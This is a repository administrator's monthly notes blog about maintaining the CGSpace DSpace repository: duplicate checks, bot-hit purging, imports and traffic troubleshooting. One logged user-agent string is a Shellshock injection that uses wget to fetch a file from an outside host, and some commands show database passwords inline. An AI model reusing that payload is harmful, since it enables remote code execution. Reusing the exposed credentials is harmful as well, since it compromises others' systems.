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Send Gaia the last batch of potential duplicates for items 701 to 980:
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4.csv
$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p &#39;fuuu&#39; -o /tmp/2022-03-01-tac-batch4-701-980.csv
$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4-filenames.csv
$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv &gt; /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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Send Gaia the last batch of potential duplicates for items 701 to 980:
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4.csv
$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p &#39;fuuu&#39; -o /tmp/2022-03-01-tac-batch4-701-980.csv
$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4-filenames.csv
$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv &gt; /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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<h1 class="blog-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/" rel="home">CGSpace Notes</a></h1>
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<h2 class="blog-post-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/2022-03/">March, 2022</a></h2>
<p class="blog-post-meta">
<time datetime="2022-03-01T16:46:54+03:00">Tue Mar 01, 2022</time>
in
<span class="fas fa-folder" aria-hidden="true"></span>&nbsp;<a href="/cgspace-notes/categories/notes/" rel="category tag">Notes</a>
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</header>
<h2 id="2022-03-01">2022-03-01</h2>
<ul>
<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4.csv
</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">&#39;fuuu&#39;</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv
</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4-filenames.csv
</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv &gt; /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
</span></span></code></pre></div><h2 id="2022-03-04">2022-03-04</h2>
<ul>
<li>Looking over the CGSpace Solr statistics from 2022-02
<ul>
<li>I see a few new bots, though once I expanded my search for user agents with &ldquo;www&rdquo; in the name I found so many more!</li>
<li>Here are some of the more prevalent or weird ones:
<ul>
<li>axios/0.21.1</li>
<li>Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)</li>
<li>Nutraspace/Nutch-1.2 (<a href="https://www.nutraspace.com">www.nutraspace.com</a>)</li>
<li>Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; <a href="mailto:webmaster@moreover.com">webmaster@moreover.com</a>)</li>
<li>Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com</li>
<li>Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)</li>
<li>Crowsnest/0.5 (+http://www.crowsnest.tv/)</li>
<li>Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com</li>
<li>metha/0.2.27</li>
<li>ZaloPC-win32-24v454</li>
<li>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x</li>
<li>ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)</li>
<li>FullStoryBot/1.0 (+https://www.fullstory.com)</li>
<li>Link Validity Check From: <a href="http://www.usgs.gov">http://www.usgs.gov</a></li>
<li>OSPScraper (+https://www.opensyllabusproject.org)</li>
<li>() { :;}; /bin/bash -c &quot;wget -O /tmp/bbb <a href="https://www.redel.net.br/1.php?id=3137382e37392e3138372e313832">www.redel.net.br/1.php?id=3137382e37392e3138372e313832</a>&quot;</li>
</ul>
</li>
<li>I submitted <a href="https://github.com/atmire/COUNTER-Robots/pull/52">a pull request to COUNTER-Robots</a> with some of these</li>
</ul>
</li>
<li>I purged a bunch of hits from the stats using the <code>check-spider-hits.sh</code> script:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
</span></span><span style="display:flex;"><span>Purging 6 hits from scalaj-http in statistics
</span></span><span style="display:flex;"><span>Purging 5 hits from lua-resty-http in statistics
</span></span><span style="display:flex;"><span>Purging 9 hits from AHC in statistics
</span></span><span style="display:flex;"><span>Purging 7 hits from acebookexternalhit in statistics
</span></span><span style="display:flex;"><span>Purging 1011 hits from axios\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 2216 hits from Faveeo\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 1164 hits from Moreover\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 740 hits from Exploratodo\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 585 hits from GroupHigh\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 438 hits from Crowsnest\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 1326 hits from nbertaupete95 in statistics
</span></span><span style="display:flex;"><span>Purging 182 hits from metha\/[0-9] in statistics
</span></span><span style="display:flex;"><span>Purging 68 hits from ZaloPC-win32-24v454 in statistics
</span></span><span style="display:flex;"><span>Purging 1644 hits from Firefox\/x\.x in statistics
</span></span><span style="display:flex;"><span>Purging 678 hits from ZoteroTranslationServer in statistics
</span></span><span style="display:flex;"><span>Purging 27 hits from FullStoryBot in statistics
</span></span><span style="display:flex;"><span>Purging 26 hits from Link Validity Check in statistics
</span></span><span style="display:flex;"><span>Purging 26 hits from OSPScraper in statistics
</span></span><span style="display:flex;"><span>Purging 1 hits from 3137382e37392e3138372e313832 in statistics
</span></span><span style="display:flex;"><span>Purging 2755 hits from Nutch-[0-9] in statistics
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 12914
</span></span></code></pre></div><ul>
<li>I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project</li>
</ul>
<h2 id="2022-03-05">2022-03-05</h2>
<ul>
<li>Start AReS harvest</li>
</ul>
<h2 id="2022-03-10">2022-03-10</h2>
<ul>
<li>A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet)
<ul>
<li>I created a filter in LibreOffice and selected the IDs for items with the action &ldquo;delete&rdquo;, then I created a custom text facet in OpenRefine with this GREL:</li>
</ul>
</li>
</ul>
<pre tabindex="0"><code>or(
isNotNull(value.match(&#39;707&#39;)),
isNotNull(value.match(&#39;709&#39;)),
isNotNull(value.match(&#39;710&#39;)),
isNotNull(value.match(&#39;711&#39;)),
isNotNull(value.match(&#39;713&#39;)),
isNotNull(value.match(&#39;717&#39;)),
isNotNull(value.match(&#39;718&#39;)),
...
isNotNull(value.match(&#39;821&#39;))
)
</code></pre><ul>
<li>Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;-Xmx1024m -Dfile.encoding=UTF-8&#34;</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-10-tac-batch4-701to980.map
</span></span></code></pre></div><h2 id="2022-03-12">2022-03-12</h2>
<ul>
<li>Update all containers and rebuild OpenRXV on linode20:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker images | grep -v ^REPO | sed <span style="color:#e6db74">&#39;s/ \+/:/g&#39;</span> | cut -d: -f1,2 | xargs -L1 docker pull
</span></span><span style="display:flex;"><span>$ docker-compose build
</span></span></code></pre></div><ul>
<li>Then run all system updates and reboot</li>
<li>Start a full harvest on AReS</li>
</ul>
<h2 id="2022-03-16">2022-03-16</h2>
<ul>
<li>Meeting with KM/KS group to start talking about the way forward for repositories and web publishing
<ul>
<li>We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing</li>
</ul>
</li>
</ul>
<h2 id="2022-03-20">2022-03-20</h2>
<ul>
<li>Start a full harvest on AReS</li>
</ul>
<h2 id="2022-03-21">2022-03-21</h2>
<ul>
<li>Review a few submissions for Open Repositories 2022</li>
<li>Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed</li>
</ul>
<h2 id="2022-03-22">2022-03-22</h2>
<ul>
<li>I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there
<ul>
<li>I had been meaning to update my local database&hellip;</li>
</ul>
</li>
<li>I re-imported the CGIAR CAS documents to <a href="https://dspacetest.cgiar.org/handle/10568/118432">DSpace Test</a> and generated the PDF thumbnails:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;-Xmx1024m -Dfile.encoding=UTF-8&#34;</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-22-tac-700.map
</span></span><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;-Xmx1024m -Dfile.encoding=UTF-8&#34;</span> dspace filter-media -p <span style="color:#e6db74">&#34;ImageMagick PDF Thumbnail&#34;</span> -i 10568/118432
</span></span></code></pre></div><ul>
<li>On my local environment I decided to run the <code>check-duplicates.py</code> script one more time with all 700 items:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv &gt; /tmp/tac.csv
</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p <span style="color:#e6db74">&#39;dom@in34sniper&#39;</span> -o /tmp/2022-03-22-tac-duplicates.csv
</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv &gt; /tmp/tac-filenames.csv
</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv &gt; /tmp/tac-final-duplicates.csv
</span></span></code></pre></div><ul>
<li>I sent the resulting 76 items to Gaia to check</li>
<li>UptimeRobot said that CGSpace was down
<ul>
<li>I looked and found many locks belonging to the REST API application:</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ psql -c <span style="color:#e6db74">&#39;SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;&#39;</span> | grep -o -E <span style="color:#e6db74">&#39;(dspaceWeb|dspaceApi)&#39;</span> | sort | uniq -c | sort -n
</span></span><span style="display:flex;"><span> 301 dspaceWeb
</span></span><span style="display:flex;"><span> 2390 dspaceApi
</span></span></code></pre></div><ul>
<li>Looking at nginx&rsquo;s logs, I found the top addresses making requests today:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># awk <span style="color:#e6db74">&#39;{print $1}&#39;</span> /var/log/nginx/rest.log | sort | uniq -c | sort -h
</span></span><span style="display:flex;"><span> 1977 45.5.184.2
</span></span><span style="display:flex;"><span> 3167 70.32.90.172
</span></span><span style="display:flex;"><span> 4754 54.195.118.125
</span></span><span style="display:flex;"><span> 5411 205.186.128.185
</span></span><span style="display:flex;"><span> 6826 137.184.159.211
</span></span></code></pre></div><ul>
<li>137.184.159.211 is on DigitalOcean using this user agent: <code>GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28</code>
<ul>
<li>I blocked this IP in nginx and the load went down immediately</li>
</ul>
</li>
<li>205.186.128.185 is on Media Temple, but it&rsquo;s OK because it&rsquo;s the CCAFS publications importer bot</li>
<li>54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)</li>
<li>70.32.90.172 is on Media Temple and has no user agent</li>
<li>What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent
<ul>
<li>I verified it works as expected with an empty user agent:</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl -H User-Agent:<span style="color:#e6db74">&#39;&#39;</span> <span style="color:#e6db74">&#39;https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all&#39;</span>
</span></span><span style="display:flex;"><span>Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word &#39;bot&#39;, if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
</span></span></code></pre></div><ul>
<li>I note that the nginx log shows &lsquo;-&rsquo; for a request with an empty user agent, which would be indistinguishable from a request with a &lsquo;-&rsquo;, for example these were successful:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] &#34;GET /rest/handle/10568/34374?expand=all HTTP/1.0&#34; 200 10671 &#34;-&#34; &#34;-&#34;
</span></span><span style="display:flex;"><span>70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] &#34;GET /rest/handle/10568/34795?expand=all HTTP/1.0&#34; 200 11394 &#34;-&#34; &#34;-&#34;
</span></span></code></pre></div><ul>
<li>I can only assume that these requests used a literal &lsquo;-&rsquo; so I will have to add an nginx rule to block those too</li>
<li>Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester&hellip; I should ask Macaroni Bros about that</li>
</ul>
<h2 id="2022-03-24">2022-03-24</h2>
<ul>
<li>Maria from ABC asked about a reporting discrepancy on AReS
<ul>
<li>I think it&rsquo;s because the last harvest was over the weekend, and she was expecting to see items submitted this week</li>
</ul>
</li>
<li>Paola from ABC said they are decomissioning the server where many of their library PDFs are hosted
<ul>
<li>She asked if we can download them and upload them directly to CGSpace</li>
</ul>
</li>
<li>I re-created my local Artifactory container</li>
<li>I am doing a walkthrough of DSpace 7.3-SNAPSHOT to see how things are lately
<ul>
<li>One thing I realized is that OAI is no longer a standalone web application, it is part of the <code>server</code> app now: http://localhost:8080/server/oai/request?verb=Identify</li>
</ul>
</li>
</ul>
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<ol class="list-unstyled">
<li><a href="/cgspace-notes/2022-03/">March, 2022</a></li>
<li><a href="/cgspace-notes/2022-02/">February, 2022</a></li>
<li><a href="/cgspace-notes/2022-01/">January, 2022</a></li>
<li><a href="/cgspace-notes/2021-12/">December, 2021</a></li>
<li><a href="/cgspace-notes/2021-11/">November, 2021</a></li>
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<h4>Links</h4>
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<li><a href="https://cgspace.cgiar.org">CGSpace</a></li>
<li><a href="https://dspacetest.cgiar.org">DSpace Test</a></li>
<li><a href="https://github.com/ilri/DSpace">CGSpace @ GitHub</a></li>
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